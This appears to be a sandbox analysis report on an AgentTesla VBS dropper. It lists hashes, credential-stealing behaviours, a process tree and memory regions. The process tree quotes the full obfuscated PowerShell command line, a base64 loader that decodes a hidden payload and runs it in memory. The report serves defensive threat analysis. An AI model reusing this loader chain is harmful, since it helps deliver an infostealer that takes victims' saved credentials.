Analysis

  • max time kernel
    110s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-04-2024 01:45

General

  • Target

    d8337b177f29c1422033dbae7b4b1191f9721c54ce02885318ca80aefa446964.vbs

  • Size

    296KB

  • MD5

    51cddcbd39641c958d5906dd9c9080ad

  • SHA1

    6dc67e50fe2c5259ea0a0364475d2a9558a1fe3a

  • SHA256

    d8337b177f29c1422033dbae7b4b1191f9721c54ce02885318ca80aefa446964

  • SHA512

    2c03cb2bdfde6838ab0ed24ea310aa6bcfdc5e30a57c861bf9cdca872e098c5fc80ebe664459df5836dcc2bdcc35618800628b9d9afefadc2227ff8de657cae2

  • SSDEEP

    6144:2c7tvCwj2O9lT+TIvZCoJZP2xwrpuHeAFUhhmPhLkJRJ:vKwRwkImzs/Mh2gJP

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d8337b177f29c1422033dbae7b4b1191f9721c54ce02885318ca80aefa446964.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Jykpxb.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXR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zOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIkp5a3B4Yi5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\Jykpxb.ps1' -Encoding UTF8"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2864
      • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\Jykpxb.ps1"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:436
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2220

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    9f73b886679b3ef2a0c12cf3bba7343a

    SHA1

    916b3889edb6a7dd28c4ec017f4870c3466bd0d9

    SHA256

    f812c4d84622e393247fabd54e7477aeb8f276fab3eefed3fd426e37fc87f6d3

    SHA512

    3707f7bca774dff2ea2ae1b90fa04ea561b49a318e828edeacacd4b830ef30efe9466c942327b871581cfe0f717e92dc20f786b6a3854231464d70522f393ace

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yw5sqqio.4p2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\Jykpxb.bat

    Filesize

    276KB

    MD5

    2c111f46d26f1352673ae6dc86a990fe

    SHA1

    a523fdff3ae3672b0f815c8af3ef0b3982b841d6

    SHA256

    5f175835c666dba497ed962c90679fc4c61b84a021f68ebb900a0d5d5b660d32

    SHA512

    6c4ff1a335d5b8671da3e3cc178bb5ae345e45c262617a58087e36260a346fb8ee699d9db057336ea412e11e2288e9ace76c741ee5c6fc18fb91e0206e51c7ff

  • C:\Users\Admin\Jykpxb.ps1

    Filesize

    2KB

    MD5

    f90fbcb070697feb9fcffa1102bf5c9a

    SHA1

    26406dbe3e8f343b13dae2a44193e0918f99e65a

    SHA256

    3ddf16f60017414eb9b0ce45e8688b266c735902003e28814147a017a94f1bce

    SHA512

    23840709dd4908bbff1ccc7d718a5f7cd3ab1a70296f8a99d8ece9e7c8fe7c0a51eaa3a2905e1f4daa70fbbf5285185b4e3a1432191544f02b9270dd76079579

  • memory/436-45-0x00000000071C0000-0x000000000723E000-memory.dmp

    Filesize

    504KB

  • memory/436-46-0x0000000002580000-0x000000000258A000-memory.dmp

    Filesize

    40KB

  • memory/436-39-0x00000000059D0000-0x0000000005D24000-memory.dmp

    Filesize

    3.3MB

  • memory/436-44-0x00000000076F0000-0x0000000007C94000-memory.dmp

    Filesize

    5.6MB

  • memory/436-43-0x0000000006FE0000-0x0000000007002000-memory.dmp

    Filesize

    136KB

  • memory/436-42-0x00000000070A0000-0x0000000007136000-memory.dmp

    Filesize

    600KB

  • memory/2220-47-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

  • memory/2220-49-0x0000000006480000-0x00000000064D0000-memory.dmp

    Filesize

    320KB

  • memory/2220-50-0x0000000006570000-0x0000000006602000-memory.dmp

    Filesize

    584KB

  • memory/2220-51-0x0000000006700000-0x000000000670A000-memory.dmp

    Filesize

    40KB

  • memory/2864-11-0x0000000005570000-0x00000000055D6000-memory.dmp

    Filesize

    408KB

  • memory/2864-29-0x0000000074740000-0x0000000074EF0000-memory.dmp

    Filesize

    7.7MB

  • memory/2864-26-0x00000000060E0000-0x00000000060FA000-memory.dmp

    Filesize

    104KB

  • memory/2864-25-0x00000000074F0000-0x0000000007B6A000-memory.dmp

    Filesize

    6.5MB

  • memory/2864-24-0x0000000005BF0000-0x0000000005C3C000-memory.dmp

    Filesize

    304KB

  • memory/2864-23-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

    Filesize

    120KB

  • memory/2864-22-0x0000000005700000-0x0000000005A54000-memory.dmp

    Filesize

    3.3MB

  • memory/2864-12-0x0000000005690000-0x00000000056F6000-memory.dmp

    Filesize

    408KB

  • memory/2864-10-0x0000000004E00000-0x0000000004E22000-memory.dmp

    Filesize

    136KB

  • memory/2864-9-0x0000000004E90000-0x00000000054B8000-memory.dmp

    Filesize

    6.2MB

  • memory/2864-7-0x0000000004810000-0x0000000004820000-memory.dmp

    Filesize

    64KB

  • memory/2864-8-0x0000000004810000-0x0000000004820000-memory.dmp

    Filesize

    64KB

  • memory/2864-6-0x0000000074740000-0x0000000074EF0000-memory.dmp

    Filesize

    7.7MB

  • memory/2864-5-0x0000000004820000-0x0000000004856000-memory.dmp

    Filesize

    216KB